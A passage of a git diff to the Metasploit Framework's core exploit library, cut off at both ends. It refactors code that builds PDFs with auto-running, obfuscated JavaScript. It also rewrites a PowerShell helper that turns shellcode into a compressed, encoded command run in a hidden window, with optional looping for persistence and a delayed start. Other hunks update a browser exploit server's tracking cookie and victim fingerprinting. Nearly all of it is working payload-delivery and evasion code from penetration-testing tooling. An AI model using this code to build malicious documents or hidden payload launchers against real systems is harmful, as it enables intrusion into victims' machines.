'msf/core/exploit/smb' +require 'msf/core/exploit/smb/authenticated' +require 'msf/core/exploit/smb/psexec' require 'msf/core/exploit/ftp' require 'msf/core/exploit/tftp' require 'msf/core/exploit/telnet' @@ -43,7 +38,6 @@ require 'msf/core/exploit/ftpserver' require 'msf/core/exploit/http/client' require 'msf/core/exploit/http/server' require 'msf/core/exploit/smtp' -require 'msf/core/exploit/dcerpc' require 'msf/core/exploit/sunrpc' require 'msf/core/exploit/mssql' require 'msf/core/exploit/mssql_commands' @@ -53,6 +47,7 @@ require 'msf/core/exploit/snmp' require 'msf/core/exploit/arkeia' require 'msf/core/exploit/ndmp' require 'msf/core/exploit/imap' +require 'msf/core/exploit/gdb' require 'msf/core/exploit/smtp_deliver' require 'msf/core/exploit/pop2' require 'msf/core/exploit/tns' @@ -63,14 +58,14 @@ require 'msf/core/exploit/wdbrpc' require 'msf/core/exploit/wdbrpc_client' require 'msf/core/exploit/afp' require 'msf/core/exploit/realport' +require 'msf/core/exploit/sip' +require 'msf/core/exploit/tincd' # Telephony require 'msf/core/exploit/dialup' require 'msf/core/exploit/dect_coa' # Networks -require 'msf/core/exploit/lorcon' -require 'msf/core/exploit/lorcon2' require 'msf/core/exploit/capture' # FileFormat @@ -92,13 +87,18 @@ require 'msf/core/exploit/java' # WBEM require 'msf/core/exploit/wbemexec' -#WinRM +# WinRM require 'msf/core/exploit/winrm' # WebApp require 'msf/core/exploit/web' -# Firefox addons +# Firefox +require 'msf/core/exploit/remote/firefox_privilege_escalation' require 'msf/core/exploit/remote/firefox_addon_generator' +# Android +require 'msf/core/exploit/android' + +# Browser Exploit Server require 'msf/core/exploit/remote/browser_exploit_server' diff --git a/lib/msf/core/exploit/oracle.rb b/lib/msf/core/exploit/oracle.rb index 27be72d023..48f6af64ec 100644 --- a/lib/msf/core/exploit/oracle.rb +++ b/lib/msf/core/exploit/oracle.rb @@ -45,7 +45,7 @@ module Exploit::ORACLE def check_dependencies if not @oci8_loaded print_error("Failed to load the OCI library: #{@oci8_error}") - print_error("See http://www.metasploit.com/redmine/projects/framework/wiki/OracleUsage for installation instructions") + print_error("Try 'gem install ruby-oci8'") return false end return true diff --git a/lib/msf/core/exploit/pdf.rb b/lib/msf/core/exploit/pdf.rb index ee7afe937c..9b3b0b135f 100644 --- a/lib/msf/core/exploit/pdf.rb +++ b/lib/msf/core/exploit/pdf.rb @@ -22,7 +22,7 @@ module Exploit::PDF ) # We're assuming we'll only create one pdf at a time here. - @xref = [] + @xref = {} @pdf = '' end @@ -30,7 +30,7 @@ module Exploit::PDF #Original Filters ## - def ASCIIHexWhitespaceEncode(str) + def ascii_hex_whitespace_encode(str) return str if not datastore['PDF::Obfuscate'] result = "" whitespace = "" @@ -44,7 +44,7 @@ module Exploit::PDF ## #Filters from Origami parser ## - def RunLengthEncode(stream) + def run_length_encode(stream) eod = 128 result = "" i = 0 @@ -85,7 +85,7 @@ module Exploit::PDF result << eod.chr end - def RandomNonASCIIString(count) + def random_non_ascii_string(count) result = "" count.times do result << (rand(128) + 128).chr @@ -93,7 +93,7 @@ module Exploit::PDF result end - def ASCII85Encode(stream) + def ascii85_encode(stream) eod = "~>" i = 0 code = "" @@ -130,7 +130,7 @@ module Exploit::PDF end # http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ - def nObfu(str) + def nobfu(str) return str if not datastore['PDF::Obfuscate'] result = "" @@ -148,23 +148,18 @@ module Exploit::PDF #PDF building block functions ## def header(version = '1.5') - hdr = "%PDF-1.5" << eol - hdr << "%" << RandomNonASCIIString(4) << eol + hdr = "%PDF-#{version}" << eol + hdr << "%" << random_non_ascii_string(4) << eol hdr end def add_object(num, data) - @xref << @pdf.length - @pdf << ioDef(num) + @xref[num] = @pdf.length + @pdf << io_def(num) @pdf << data @pdf << endobj end - def range_rand(min,max) - until min < r=rand(max); end - return r - end - def finish_pdf @xref_offset = @pdf.length @pdf << xref_table @@ -174,17 +169,24 @@ module Exploit::PDF end def xref_table + id = @xref.keys.max+1 ret = "xref" << eol - ret << "0 %d" % (@xref.length + 1) << eol + ret << "0 %d" % id << eol ret << "0000000000 65535 f" << eol - @xref.each do |index| - ret << "%010d 00000 n" % index << eol - end + ret << (1..@xref.keys.max).map do |index| + if @xref.has_key?(index) + offset = @xref[index] + "%010d 00000 n" % offset << eol + else + "0000000000 00000 f" << eol + end + end.join + ret end def trailer(root_obj) - ret = "trailer" << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj) << ">>" << eol + ret = "trailer" << nobfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) << ">>" << eol ret end @@ -196,25 +198,29 @@ module Exploit::PDF end def eol - "\x0d\x0a" + @eol || "\x0d\x0a" + end + + def eol=(new_eol) + @eol = new_eol end def endobj "endobj" << eol end - def ioDef(id) + def io_def(id) "%d 0 obj" % id end - def ioRef(id) + def io_ref(id) "%d 0 R" % id end ## #Controller funtion, should be entrypoint for pdf exploits ## - def CreatePDF(js) + def create_pdf(js) strFilter = "" arrResults = [] numIterations = 0 @@ -227,10 +233,10 @@ module Exploit::PDF end for i in (0..numIterations-1) if i == 0 - arrResults = SelectEncoder(js,arrEncodings[i],strFilter) + arrResults = select_encoder(js,arrEncodings[i],strFilter) next end - arrResults = SelectEncoder(arrResults[0],arrEncodings[i],arrResults[1]) + arrResults = select_encoder(arrResults[0],arrEncodings[i],arrResults[1]) end case datastore['PDF::Method'] when 'PAGE' @@ -245,19 +251,19 @@ module Exploit::PDF ## #Select an encoder and build a filter specification ## - def SelectEncoder(js,strEncode,strFilter) + def select_encoder(js,strEncode,strFilter) case strEncode when 'ASCII85' - js = ASCII85Encode(js) + js = ascii85_encode(js) strFilter = "/ASCII85Decode"<<strFilter when 'ASCIIHEX' - js = ASCIIHexWhitespaceEncode(js) + js = ascii_hex_whitespace_encode(js) strFilter = "/ASCIIHexDecode"<<strFilter when 'FLATE' js = Zlib::Deflate.deflate(js) strFilter = "/FlateDecode"<<strFilter when 'RUN' - js = RunLengthEncode(js) + js = run_length_encode(js) strFilter = "/RunLengthDecode"<<strFilter end return js,strFilter @@ -267,14 +273,14 @@ module Exploit::PDF #Create PDF with Page implant ## def pdf_with_page_exploit(js,strFilter) - @xref = [] + @xref = {} @pdf = '' @pdf << header - add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>") - add_object(2, nObfu("<</Type/Outlines/Count 0>>")) - add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>")) - add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>")) + add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>") + add_object(2, nobfu("<</Type/Outlines/Count 0>>")) + add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>")) + add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>")) compressed = js stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol stream << "stream" << eol @@ -290,15 +296,15 @@ module Exploit::PDF # you try to merge the exploit PDF with an innocuous one ## def pdf_with_openaction_js(js,strFilter) - @xref = [] + @xref = {} @pdf = '' @pdf << header - add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>") - add_object(2, nObfu("<</Type/Outlines/Count 0>>")) - add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>")) - add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>")) + add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>") + add_object(2, nobfu("<</Type/Outlines/Count 0>>")) + add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>")) + add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>")) compressed = js stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol stream << "stream" << eol @@ -313,16 +319,16 @@ module Exploit::PDF #Create PDF with a malicious annotation ## def pdf_with_annot_js(js,strFilter) - @xref = [] + @xref = {} @pdf = '' @pdf << header - add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>") - add_object(2, nObfu("<</Type/Outlines/Count 0>>")) - add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>")) - add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /Annots [") << ioRef(5) << nObfu("]>>")) - add_object(5, nObfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << ioRef(6) << nObfu("/S /JavaScript >>>>>>")) + add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>") + add_object(2, nobfu("<</Type/Outlines/Count 0>>")) + add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>")) + add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /Annots [") << io_ref(5) << nobfu("]>>")) + add_object(5, nobfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nobfu("/S /JavaScript >>>>>>")) compressed = js stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol stream << "stream" << eol @@ -332,5 +338,6 @@ module Exploit::PDF finish_pdf end + end end diff --git a/lib/msf/core/exploit/postgres.rb b/lib/msf/core/exploit/postgres.rb index 2bc60e7282..514eae6c50 100644 --- a/lib/msf/core/exploit/postgres.rb +++ b/lib/msf/core/exploit/postgres.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'msf/core' module Msf diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index c424182883..be16970ec5 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -1,178 +1,380 @@ # -*- coding: binary -*- -require 'zlib' +require 'rex/exploitation/powershell' module Msf module Exploit::Powershell + PowershellScript = Rex::Exploitation::Powershell::Script def initialize(info = {}) super - register_options( - [ - OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]), - OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]), - OptBool.new('RUN_WOW64', [ - true, - 'Execute powershell in 32bit compatibility mode, payloads need native arch', - false - ]), + register_advanced_options( + [ + OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]), + OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']), + OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]), + OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]), + OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]), + OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]), + OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]), ], self.class) end # - # Insert substitutions into the powershell script + # Return an encoded powershell script + # Will invoke PSH modifiers as enabled # - def make_subs(script, subs) - if ::File.file?(script) - script = ::File.read(script) + # @param script_in [String] Script contents + # + # @return [String] Encoded script + def encode_script(script_in) + # Build script object + psh = PowershellScript.new(script_in) + # Invoke enabled modifiers + datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k| + mod_method = k.split('::').last.intern + psh.send(mod_method) end - subs.each do |set| - script.gsub!(set[0],set[1]) - end - if datastore['VERBOSE'] - print_good("Final Script: ") - script.each_line {|l| print_status("\t#{l}")} - end - return script + psh.encode_code end # - # Return an array of substitutions for use in make_subs + # Return a gzip compressed powershell script + # Will invoke PSH modifiers as enabled # - def process_subs(subs) - return [] if subs.nil? or subs.empty? - new_subs = [] - subs.split(';').each do |set| - new_subs << set.split(',', 2) - end - return new_subs - end - - # - # Read in a powershell script stored in +script+ - # - def read_script(script) - script_in = '' - begin - # Open script file for reading - fd = ::File.new(script, 'r') - while (line = fd.gets) - script_in << line - end - - # Close open file - fd.close() - rescue Errno::ENAMETOOLONG, Errno::ENOENT - # Treat script as a... script - script_in = script - end - return script_in - end - - - # - # Return a zlib compressed powershell script + # @param script_in [String] Script contents + # @param eof [String] Marker to indicate the end of file appended to script # + # @return [String] Compressed script with decompression stub def compress_script(script_in, eof = nil) + # Build script object + psh = PowershellScript.new(script_in) + # Invoke enabled modifiers + datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k| + mod_method = k.split('::').last.intern + psh.send(mod_method) + end - # Compress using the Deflate algorithm - compressed_stream = ::Zlib::Deflate.deflate(script_in, - ::Zlib::BEST_COMPRESSION) - - # Base64 encode the compressed file contents - encoded_stream = Rex::Text.encode_base64(compressed_stream) - - # Build the powershell expression - # Decode base64 encoded command and create a stream object - psh_expression = "$stream = New-Object IO.MemoryStream(," - psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));" - # Read & delete the first two bytes due to incompatibility with MS - psh_expression << "$stream.ReadByte()|Out-Null;" - psh_expression << "$stream.ReadByte()|Out-Null;" - # Uncompress and invoke the expression (execute) - psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader(" - psh_expression << "$(New-Object IO.Compression.DeflateStream(" - psh_expression << "$stream," - psh_expression << "[IO.Compression.CompressionMode]::Decompress))," - psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());" - - # If eof is set, add a marker to signify end of script output - if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end - - # Convert expression to unicode - unicode_expression = Rex::Text.to_unicode(psh_expression) - - # Base64 encode the unicode expression - encoded_expression = Rex::Text.encode_base64(unicode_expression) - - return encoded_expression + psh.compress_code(eof) end # - # Runs powershell in hidden window raising interactive proc msg + # Generate a powershell command line, options are passed on to + # generate_psh_args # - def run_hidden_psh(ps_code,ps_bin='powershell.exe') - ps_args = " -EncodedCommand #{ compress_script(ps_code) } " + # @param opts [Hash] The options to generate the command line + # @option opts [String] :path Path to the powershell binary + # @option opts [Boolean] :no_full_stop Whether powershell binary + # should include .exe + # + # @return [String] Powershell command line with arguments + def generate_psh_command_line(opts) + if opts[:path] and (opts[:path][-1, 1] != '\\') + opts[:path] << '\\' + end - ps_wrapper = <<EOS -$si = New-Object System.Diagnostics.ProcessStartInfo -$si.FileName = #{ps_bin} -$si.Arguments = '#{ps_args}' -$si.UseShellExecute = $false -$si.RedirectStandardOutput = $true -$si.WindowStyle = 'Hidden' -$si.CreateNoWindow = $True -$p = [System.Diagnostics.Process]::Start($si) + if opts[:no_full_stop] + binary = 'powershell' + else + binary = 'powershell.exe' + end + + args = generate_psh_args(opts) + + "#{opts[:path]}#{binary} #{args}" + end + + # + # Generate arguments for the powershell command + # The format will be have no space at the start and have a space + # afterwards e.g. "-Arg1 x -Arg -Arg x " + # + # @param opts [Hash] The options to generate the command line + # @option opts [Boolean] :shorten Whether to shorten the powershell + # arguments (v2.0 or greater) + # @option opts [String] :encodedcommand Powershell script as an + # encoded command (-EncodedCommand) + # @option opts [String] :executionpolicy The execution policy + # (-ExecutionPolicy) + # @option opts [String] :inputformat The input format (-InputFormat) + # @option opts [String] :file The path to a powershell file (-File) + # @option opts [Boolean] :noexit Whether to exit powershell after + # execution (-NoExit) + # @option opts [Boolean] :nologo Whether to display the logo (-NoLogo) + # @option opts [Boolean] :noninteractive Whether to load a non + # interactive powershell (-NonInteractive) + # @option opts [Boolean] :mta Whether to run as Multi-Threaded + # Apartment (-Mta) + # @option opts [String] :outputformat The output format + # (-OutputFormat) + # @option opts [Boolean] :sta Whether to run as Single-Threaded + # Apartment (-Sta) + # @option opts [Boolean] :noprofile Whether to use the current users + # powershell profile (-NoProfile) + # @option opts [String] :windowstyle The window style to use + # (-WindowStyle) + # + # @return [String] Powershell command arguments + def generate_psh_args(opts) + return '' unless opts + + unless opts.key? :shorten + opts[:shorten] = (datastore['Powershell::method'] != 'old') + end + + arg_string = ' ' + opts.each_pair do |arg, value| + case arg + when :encodedcommand + arg_string << "-EncodedCommand #{value} " if value + when :executionpolicy + arg_string << "-ExecutionPolicy #{value} " if value + when :inputformat + arg_string << "-InputFormat #{value} " if value + when :file + arg_string << "-File #{value} " if value + when :noexit + arg_string << '-NoExit ' if value + when :nologo + arg_string << '-NoLogo ' if value + when :noninteractive + arg_string << '-NonInteractive ' if value + when :mta + arg_string << '-Mta ' if value + when :outputformat + arg_string << "-OutputFormat #{value} " if value + when :sta + arg_string << '-Sta ' if value + when :noprofile + arg_string << '-NoProfile ' if value + when :windowstyle + arg_string << "-WindowStyle #{value} " if value + end + end + + # Command must be last (unless from stdin - etc) + if opts[:command] + arg_string << "-Command #{opts[:command]}" + end + + # Shorten arg if PSH 2.0+ + if opts[:shorten] + # Invoke-Command and Out-File require these options to have + # an additional space before to prevent Powershell code being + # mangled. + arg_string.gsub!(' -Command ', ' -c ') + arg_string.gsub!('-EncodedCommand ', '-e ') + arg_string.gsub!('-ExecutionPolicy ', '-ep ') + arg_string.gsub!(' -File ', ' -f ') + arg_string.gsub!('-InputFormat ', '-i ') + arg_string.gsub!('-NoExit ', '-noe ') + arg_string.gsub!('-NoLogo ', '-nol ') + arg_string.gsub!('-NoProfile ', '-nop ') + arg_string.gsub!('-NonInteractive ', '-noni ') + arg_string.gsub!('-OutputFormat ', '-o ') + arg_string.gsub!('-Sta ', '-s ') + arg_string.gsub!('-WindowStyle ', '-w ') + end + + # Strip off first space character + arg_string = arg_string[1..-1] + # Remove final space character + arg_string = arg_string[0..-2] if (arg_string[-1] == ' ') + + arg_string + end + + # + # Wraps the powershell code to launch a hidden window and + # detect the execution environment and spawn the appropriate + # powershell executable for the payload architecture. + # + # @param ps_code [String] Powershell code + # @param payload_arch [String] The payload architecture 'x86'/'x86_64' + # @param encoded [Boolean] Indicates whether ps_code is encoded or not + # + # @return [String] Wrapped powershell code + def run_hidden_psh(ps_code, payload_arch, encoded) + arg_opts = { + noprofile: true, + windowstyle: 'hidden', + } + + if encoded + arg_opts[:encodedcommand] = ps_code + else + arg_opts[:command] = ps_code.gsub("'", "''") + end + + # Old technique fails if powershell exits.. + arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old' + + ps_args = generate_psh_args(arg_opts) + + process_start_info = <<EOS +$s=New-Object System.Diagnostics.ProcessStartInfo +$s.FileName=$b +$s.Arguments='#{ps_args}' +$s.UseShellExecute=$false +$p=[System.Diagnostics.Process]::Start($s) +EOS + process_start_info.gsub!("\n", ';') + + archictecure_detection = <<EOS +if([IntPtr]::Size -eq 4){ +#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"} +}else{ +#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"} +}; EOS - return ps_wrapper + archictecure_detection.gsub!("\n", '') + + archictecure_detection + process_start_info end # - # Creates cmd script to execute psh payload + # Creates a powershell command line string which will execute the + # payload in a hidden window in the appropriate execution environment + # for the payload architecture. Opts are passed through to + # run_hidden_psh, generate_psh_command_line and generate_psh_args # - def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64']) - # Allow powershell 1.0 format - if old_psh - psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay) - else - psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay) + # @param pay [String] The payload shellcode + # @param payload_arch [String] The payload architecture 'x86'/'x86_64' + # @param opts [Hash] The options to generate the command + # @option opts [Boolean] :persist Loop the payload to cause + # re-execution if the shellcode finishes + # @option opts [Integer] :prepend_sleep Sleep for the specified time + # before executing the payload + # @option opts [String] :method The powershell injection technique to + # use: 'net'/'reflection'/'old' + # @option opts [Boolean] :encode_inner_payload Encodes the powershell + # script within the hidden/architecture detection wrapper + # @option opts [Boolean] :encode_final_payload Encodes the final + # powershell script + # @option opts [Boolean] :remove_comspec Removes the %COMSPEC% + # environment variable at the start of the command line + # @option opts [Boolean] :use_single_quotes Wraps the -Command + # argument in single quotes unless :encode_final_payload + # + # @return [String] Powershell command line with payload + def cmd_psh_payload(pay, payload_arch, opts = {}) + opts[:persist] ||= datastore['Powershell::persist'] + opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep'] + opts[:method] ||= datastore['Powershell::method'] + + if opts[:encode_inner_payload] && opts[:encode_final_payload] + fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options' end + + if opts[:no_equals] && !opts[:encode_final_payload] + fail RuntimeError, ':no_equals requires :encode_final_payload option to be used' + end + + psh_payload = case opts[:method] + when 'net' + Msf::Util::EXE.to_win32pe_psh_net(framework, pay) + when 'reflection' + Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay) + when 'old' + Msf::Util::EXE.to_win32pe_psh(framework, pay) + when 'msil' + fail RuntimeError, 'MSIL Powershell method no longer exists' + else + fail RuntimeError, 'No Powershell method specified' + end + # Run our payload in a while loop - if datastore['PERSIST'] - fun_name = Rex::Text.rand_text_alpha(rand(2)+2) - sleep_time = rand(5)+5 + if opts[:persist] + fun_name = Rex::Text.rand_text_alpha(rand(2) + 2) + sleep_time = rand(5) + 5 + vprint_status("Sleep time set to #{sleep_time} seconds") psh_payload = "function #{fun_name}{#{psh_payload}};" psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" end - # Determine appropriate architecture - ps_bin = wow64 ? '$env:windir+\'\syswow64\WindowsPowerShell\v1.0\powershell.exe\'' : '\'powershell.exe\'' - # Wrap in hidden runtime - psh_payload = run_hidden_psh(psh_payload,ps_bin) - # Convert to base64 for -encodedcommand execution - command = "%COMSPEC% /B /C start powershell.exe -Command #{psh_payload.gsub("\n",';').gsub('"','\"')}\r\n" - end - # - # Convert binary to byte array, read from file if able - # - def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3)) - code = ::File.file?(input_data) ? ::File.read(input_data) : input_data - code = code.unpack('C*') - psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}" - lines = [] - 1.upto(code.length-1) do |byte| - if(byte % 10 == 0) - lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}" - else - lines.push ",0x#{code[byte].to_s(16)}" + if opts[:prepend_sleep] + if opts[:prepend_sleep].to_i > 0 + psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload + elsif opts[:prepend_sleep].to_i < 0 + vprint_error('Sleep time must be greater than or equal to 0 seconds') end end - psh << lines.join("") + "\r\n" + + compressed_payload = compress_script(psh_payload) + encoded_payload = encode_script(psh_payload) + + # This branch is probably never taken... + if encoded_payload.length <= compressed_payload.length + smallest_payload = encoded_payload + encoded = true + else + if opts[:encode_inner_payload] + encoded = true + compressed_encoded_payload = encode_script(compressed_payload) + + if encoded_payload.length <= compressed_encoded_payload.length + smallest_payload = encoded_payload + else + smallest_payload = compressed_encoded_payload + end + else + smallest_payload = compressed_payload + encoded = false + end + end + + # Wrap in hidden runtime / architecture detection + final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded) + + command_args = { + noprofile: true, + windowstyle: 'hidden' + }.merge(opts) + + if opts[:encode_final_payload] + command_args[:encodedcommand] = encode_script(final_payload) + + # If '=' is a bad character pad the payload until Base64 encoded + # payload contains none. + if opts[:no_equals] + while command_args[:encodedcommand].include? '=' + final_payload << ' ' + command_args[:encodedcommand] = encode_script(final_payload) + end + end + else + if opts[:use_single_quotes] + # Escape Single Quotes + final_payload.gsub!("'", "''") + # Wrap command in quotes + final_payload = "'#{final_payload}'" + end + + command_args[:command] = final_payload + end + + psh_command = generate_psh_command_line(command_args) + + if opts[:remove_comspec] + command = psh_command + else + command = "%COMSPEC% /b /c start /b /min #{psh_command}" + end + + vprint_status("Powershell command length: #{command.length}") + if command.length > 8191 + fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)' + end + + command end - - + # + # Useful method cache + # + module PshMethods + include Rex::Exploitation::Powershell::PshMethods + end end end - diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index ea0341fced..0a9e8d9e8c 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -1,12 +1,19 @@ # -*- coding: binary -*- require 'erb' +require 'cgi' +require 'date' +require 'set' require 'rex/exploitation/js' +require 'msf/core/exploit/jsobfu' ### # # The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser # exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux. +# Wiki documentations about this mixin can be found here: +# https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer +# https://github.com/rapid7/metasploit-framework/wiki/Information-About-Unmet-Browser-Exploit-Requirements # ### @@ -15,42 +22,50 @@ module Msf include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb + include Msf::Exploit::JSObfu - PROXY_REQUEST_HEADER_SET = Set.new( - %w{ - CLIENT_IP - FORWARDED - FORWARDED_FOR - FORWARDED_FOR_IP - HTTP_CLIENT_IP - HTTP_FORWARDED - HTTP_FORWARDED_FOR - HTTP_FORWARDED_FOR_IP - HTTP_PROXY_CONNECTION - HTTP_VIA - HTTP_X_FORWARDED - HTTP_X_FORWARDED_FOR - VIA - X_FORWARDED - X_FORWARDED_FOR - }) + # this must be static between runs, otherwise the older cookies will be ignored + DEFAULT_COOKIE_NAME = '__ua' + + PROXY_REQUEST_HEADER_SET = Set.new(%w{ + CLIENT_IP + FORWARDED + FORWARDED_FOR + FORWARDED_FOR_IP + HTTP_CLIENT_IP + HTTP_FORWARDED + HTTP_FORWARDED_FOR + HTTP_FORWARDED_FOR_IP + HTTP_PROXY_CONNECTION + HTTP_VIA + HTTP_X_FORWARDED + HTTP_X_FORWARDED_FOR + VIA + X_FORWARDED + X_FORWARDED_FOR + }) # Requirements a browser module can define in either BrowserRequirements or in targets - REQUIREMENT_KEY_SET = { - :source => 'source', # Either 'script' or 'headers' - :ua_name => 'ua_name', # Example: MSIE - :ua_ver => 'ua_ver', # Example: 8.0, 9.0 - :os_name => 'os_name', # Example: Microsoft Windows - :os_flavor => 'os_flavor', # Example: XP, 7 - :language => 'language', # Example: en-us - :arch => 'arch', # Example: x86 - :proxy => 'proxy', # 'true' or 'false' - :silverlight => 'silverlight', # 'true' or 'false' - :office => 'office', # Example: "2007", "2010" - :java => 'java', # Example: 1.6, 1.6.0.0 - :clsid => 'clsid', # ActiveX clsid. Also requires the :method key - :method => 'method' # ActiveX method. Also requires the :clsid key - } + REQUIREMENT_KEY_SET = Set.new([ + :source, # Either 'script' or 'headers' + :ua_name, # Example: MSIE + :ua_ver, # Example: 8.0, 9.0 + :os_name, # Example: Windows 7, Linux + :os_device, # Example: iPad, iPhone, etc + :os_vendor, # Example: Microsoft, Ubuntu, Apple, etc + :os_sp, # Example: SP2 + :language, # Example: en-us + :arch, # Example: x86 + :proxy, # 'true' or 'false' + :silverlight, # 'true' or 'false' + :office, # Example: "2007", "2010" + :java, # Example: 1.6, 1.6.0.0 + :clsid, # ActiveX clsid. Also requires the :method key + :method, # ActiveX method. Also requires the :clsid key + :mshtml_build, # mshtml build. Example: "65535" + :flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE) + :vuln_test # Example: "if(window.MyComponentIsInstalled)return true;" + ]) def initialize(info={}) super @@ -72,10 +87,33 @@ module Msf [ OptBool.new('Retries', [false, "Allow the browser to retry the module", true]) ], Exploit::Remote::BrowserExploitServer) + + register_advanced_options([ + OptString.new('CookieName', [false, "The name of the tracking cookie", DEFAULT_COOKIE_NAME]), + OptString.new('CookieExpiration', [false, "Cookie expiration in years (blank=expire on exit)"]), + OptString.new('Custom404', [false, "An external custom 404 URL (Example: http://example.com/404.html)"]) + ], Exploit::Remote::BrowserExploitServer) + end + + def setup + custom_404 = get_custom_404_url + if !custom_404.blank? && custom_404 !~ /^http/i + raise Msf::OptionValidateError.new(['Custom404 (must begin with http or https)']) + end + super end # - # Syncs a block of code + # Returns the custom 404 URL set by the user + # + # @return [String] + # + def get_custom_404_url + datastore['Custom404'].to_s + end + + # + # Allows a block of code to access BES resources in a thread-safe fashion # # @param block [Proc] Block of code to sync # @@ -89,7 +127,7 @@ module Msf # @return [String] URI to the exploit page # def get_module_resource - "#{get_resource.chomp("/")}/#{@exploit_receiver_page}" + "#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/" end # @@ -115,7 +153,7 